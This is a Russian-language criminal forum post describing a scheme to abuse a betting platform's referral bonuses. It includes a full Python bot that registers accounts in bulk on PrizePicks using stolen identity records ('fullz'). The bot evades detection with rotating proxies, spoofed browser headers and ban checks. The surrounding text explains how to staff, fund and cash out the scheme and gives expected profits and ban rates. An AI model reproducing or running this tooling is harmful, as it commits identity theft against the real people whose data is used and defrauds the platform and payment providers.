• XSS.stack #1 – первый литературный журнал от юзеров форума

Новогодний абуз БК

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
373
Реакции
413
Возможно кто-то слышал, кто-то нет. Но кто успеет пускай даст своим индусам без работы хоть что-то. Суть идёт о БК выше.

Что необходимо:
- пара индусов на ЗП которые будут это делать
- PayPal (1 аккаунт = 1 палка)
- прокси (asocks/любые) под штат фулок
- ~1000$ чтобы разложить по палкам

Желательно делать TX там даёт 50$ за инвайт.

Чтобы экономить время ниже реггер
Python:
from asyncio import run
from uuid import uuid4
from random import choice, randint
from json import loads, dumps, JSONDecodeError
from aiopath import AsyncPath
from aiofiles import open as aopen

from curl_cffi.requests import AsyncSession


FULLZ_PATH = '/path/here'
INITIAL_REF = 'RG-xss.pro'


class PrizePicksFucker:
    def __init__(
        self, first_name: str, last_name: str, dob: str, email: str,
        street: str, city: str, state: str, uzip: str, proxy: str,
        invite: str = ''
    ) -> None:
        assert proxy.startswith('socks5://'), 'socks5:// scheme required'
        assert len(dob.split('-')) == 3, 'dob yyyy-mm-dd'
        assert len(state) == 2, '2 letters state'

        user, _ = email.split('@', 1)
        email = f'{user}{randint(108, 999)}@gmail.com'

        self._api = 'https://api.prizepicks.com'
        pwd = str(uuid4()).title()+'aA!'

        self._init_dat: dict = {
            "user": {
                "first_name": first_name.capitalize(),
                "last_name": last_name.capitalize(),
                "postal_code": f'{uzip}',
                "address": street.title(),
                "state": state.upper(),
                "date_of_birth": dob
            }
        }

        self._user_update: dict = {
            "email": email,
            "password": pwd,
            "password_confirmation": pwd,
            "initial_anonymous_id": str(uuid4()),
            "referral_partner_id": '',
            "device_fingerprint": str(uuid4()),
            "invite_code": invite,
            "country_code": "US",
            "city": city.capitalize()
        }

        self._h = {
            'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'accept-language': 'en-US,en;q=0.9',
            'cache-control': 'max-age=0',
            'dnt': f'{randint(0, 1)}',
            'priority': 'u=0, i',
            'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
            'sec-ch-ua-arch': '""',
            'sec-ch-ua-bitness': '""',
            'sec-ch-ua-form-factors': '',
            'sec-ch-ua-full-version': '"131.0.6778.241"',
            'sec-ch-ua-full-version-list': '"Google Chrome";v="131.0.6778.241", "Chromium";v="131.0.6778.241", "Not_A Brand";v="24.0.0.0"',
            'sec-ch-ua-mobile': '?1',
            'sec-ch-ua-model': '"Nexus 5"',
            'sec-ch-ua-platform': '"Android"',
            'sec-ch-ua-platform-version': '"6.0"',
            'sec-ch-ua-wow64': '?0',
            'sec-fetch-dest': 'document',
            'sec-fetch-mode': 'navigate',
            'sec-fetch-site': 'same-origin',
            'sec-fetch-user': '?1',
            'upgrade-insecure-requests': '1',
            'user-agent': 'Mozilla/5.0 (Linux; Android 14.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.241 Mobile Safari/537.36'
        }
        self._p = {
            'http': proxy,
            'https': proxy
        }

    async def cookies_collector(self, ses: AsyncSession) -> None:
        top_domains = (
            'google.com', 'yahoo.com', 'outlook.com', 'bing.com', 'bbc.com', 'pornhub.com' # :)
        )

        for _ in range(randint(1, len(top_domains))):
            await ses.get(choice(top_domains))

    async def make_user(self) -> dict:
        async with AsyncSession(
            impersonate='chrome', headers=self._h, proxies=self._p
        ) as ses:
            self.cookies_collector(ses)

            await ses.get('https://www.prizepicks.com/')
            await ses.get('https://app.prizepicks.com/login?utm_source=landing&utm_medium=website')

            r = await ses.get(f'{self._api}/core/streaks/milestones')
            assert r.url != f'{self._api}/invalid_ip', 'IP Banned'

            await ses.get('https://app.prizepicks.com/sign-up')

            r = await ses.post(f'{self._api}/validate/email', json={
                'user': {
                    'email': self._user_update['email']
                }
            })
            assert r.status_code == 200, 'Error on email validation'
            assert r.json()['data'] == 'validations_passed', 'Validation not passed'

            r = await ses.post(f'{self._api}/validate/address', json=self._init_dat)

            assert r.url != f'{self._api}/invalid_ip', 'IP Banned'
            assert r.status_code == 200, 'Error on email validation'
            assert r.json()['data'] == 'validations_passed', 'Validation not passed'

            self._init_dat['token'] = ""
            self._init_dat['user'].update(self._user_update)

            r = await ses.post(f'{self._api}/users', json=self._init_dat)
            assert r.status_code != 403, 'CF blocked request'
            assert r.json().get('referral_code', None), 'No refferal code'

            return {
                'email': self._user_update['email'],
                'password': self._user_update['password'],
                'referral_code': r.json()['referral_code'],
                'registered_for': self._user_update['invite_code'],
                'used_proxy': ses.proxies.get('https', 'WRONG_WITH_PROXY')
            }


class MoneyMaker:
    def __init__(self) -> None:
        self._file_iter = self._path_iter_func()
        self._proxy_iter = self._proxy_iter_func()

        self.stat: dict = {
            INITIAL_REF: 0
        }

    async def _proxy_iter_func(self) -> None:
        async with aopen('proxy.txt', 'r') as lines:
            async for line in lines:
                site, port, user, pwd = line.strip().split(':', 4)
                yield f'{user}:{pwd}@{site}:{port}'

    async def _path_iter_func(self) -> None:
        async for path in AsyncPath(FULLZ_PATH).rglob('info.json'):
            yield path

    async def save_valids(self, what: dict) -> None:
        async with aopen('created_accs.txt', 'a', encoding='utf-8') as f:
            await f.write(dumps(what, indent=4)+'\n\n')

    async def pickme(self) -> None:
        while True:
            ref_code = None
            path = await anext(self._file_iter, None)

            try:
                async with aopen(str(path), 'r', encoding='utf-8') as file:
                    json_data = loads(await file.read())
            except JSONDecodeError:
                continue

            tmp_rf_code = choice(tuple(self.stat.keys()))

            if self.stat[tmp_rf_code] < 4:
                self.stat[tmp_rf_code] += 1
                ref_code = tmp_rf_code

            while True:
                proxy = await anext(self._proxy_iter, None)

                if not path or not proxy:
                    print('smth is missed:Proxy:', proxy, 'FULLZ:', path)
                    break

                try:
                    user = PrizePicksFucker(
                        first_name=json_data['first-name'],
                        last_name=json_data['last-name'],
                        email=json_data['contact-email'],
                        dob=json_data['registered-ssn'],
                        street=json_data['registered-street'],
                        city=json_data['regitered-city'],
                        state=json_data['registered-state'],
                        uzip=json_data['registered-zip'],
                        invite=ref_code,
                        proxy='socks5://'+proxy
                    )
                except (KeyError, AssertionError):
                    break

                try:
                    resp = await user.make_user()
                    await self.save_valids(resp)

                    self.stat[resp['referral_code']] = 0

                    break
                except AssertionError as e:
                    self.stat[ref_code] -= 1

                    if 'banned' in str(e).lower():
                        continue
                    else:
                        break
                except Exception as e:
                    self.stat[ref_code] -= 1
                    print('[!!!] Ukwn err:', e, 'on', json_data['contact-email'])
                    break


if __name__ == "__main__":
    mm = MoneyMaker()
    run(mm.pickme())

Автоматизацию ставок, увы, не все так сладко :) Сделать дело 15 минут.


Необходимо:
FULLZ_PATH = '/path/here' <- сюда путь где у Вас фулки или переделать код
INITIAL_REF = 'RG-xss.pro' <- сюда инвайт, один аккаунт будет нужно сделать все таки руками
А в файл proxy.txt вставить прокси. Посмотрите функцию мб Вам и не нужно их форматировать

Суть:
Initial invite -> reg -> top-up balance on invited account -> bet -> bonus to main
Проще говоря делать вилки да и всё.

Вывод:
1 час -> 2 дня

% бана:
4/10 забанит

750 -> 2000 = out 1260 (55-59%)
Главное не перегибать. Если хорошо сделать то 3k+/day ;) Сегодня-завтра уже сдохнет, кто успел того и рыбка
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх